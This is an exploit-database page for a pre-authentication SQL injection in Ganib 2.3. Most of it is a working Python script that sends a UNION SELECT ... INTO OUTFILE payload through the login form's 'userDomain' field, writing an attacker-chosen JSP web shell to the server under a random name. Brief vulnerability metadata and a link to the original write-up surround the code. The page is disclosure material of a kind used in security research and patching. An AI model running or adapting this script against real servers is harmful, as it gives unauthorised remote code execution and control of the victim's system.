Ganib 2.3 SQL Injection

2014.03.05
Credit: drone
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit title: Ganib 2.x SQLi # Date: 02/02/2014 # Exploit author: drone (@dronesec) # More information: http://hatriot.github.io/blog/2014/02/24/ganib-project-management-2.3-sqli/ # Vendor homepage: http://www.ganib.com/ # Software link: http://downloads.sourceforge.net/project/ganib/Ganib-2.0/Ganib-2.0_with_jre.zip # Version: <= 2.3 # Fixed in: 2.4 # Tested on: Ubuntu 12.04 (apparmor disabled) / WinXP SP3 from argparse import ArgumentParser import sys import string import random import requests """ Ganib 2.0 preauth SQLi PoC @dronesec """ def loadJSP(options): data = '' try: with open(options.jsp) as f: for line in f.readlines(): data += line.replace("\"", "\\\"").replace('\n', '') except Exception, e: print e sys.exit(1) return data def run(options): print '[!] Dropping %s on %s...' % (options.jsp, options.ip) url = "http://{0}:8080/LoginProcessing.jsp".format(options.ip) shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5)) exploit = '1 UNION SELECT "{0}","1","2","3" INTO OUTFILE "{1}"' exploit = exploit.format(loadJSP(options), options.path + '/%s.jsp' % shell) data = { "theAction" : "submit", "J_USERNAME" : "test", "J_PASSWORD" : "test", "language" : "en", "remember_checkbox" : "on", "userDomain" : exploit } res = requests.post(url, data=data) if res.status_code is 200: print '[!] Dropped at /{0}.jsp'.format(shell) else: print '[!] Failed to drop JSP (HTTP {0})'.format(res.status_code) def parse(): parser = ArgumentParser() parser.add_argument("-i", help='Server ip address', action='store', dest='ip', required=True) parser.add_argument("-p", help='Writable web path (/var/www/ganib)', dest='path', action='store', default='/var/www/ganib') parser.add_argument("-j", help="JSP to deploy", dest='jsp', action='store') options = parser.parse_args() options.path = options.path if options.path[-1] != '/' else options.path[:-1] return options if __name__ == "__main__": run(parse())

References:

http://hatriot.github.io/blog/2014/02/24/ganib-project-management-2.3-sqli/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top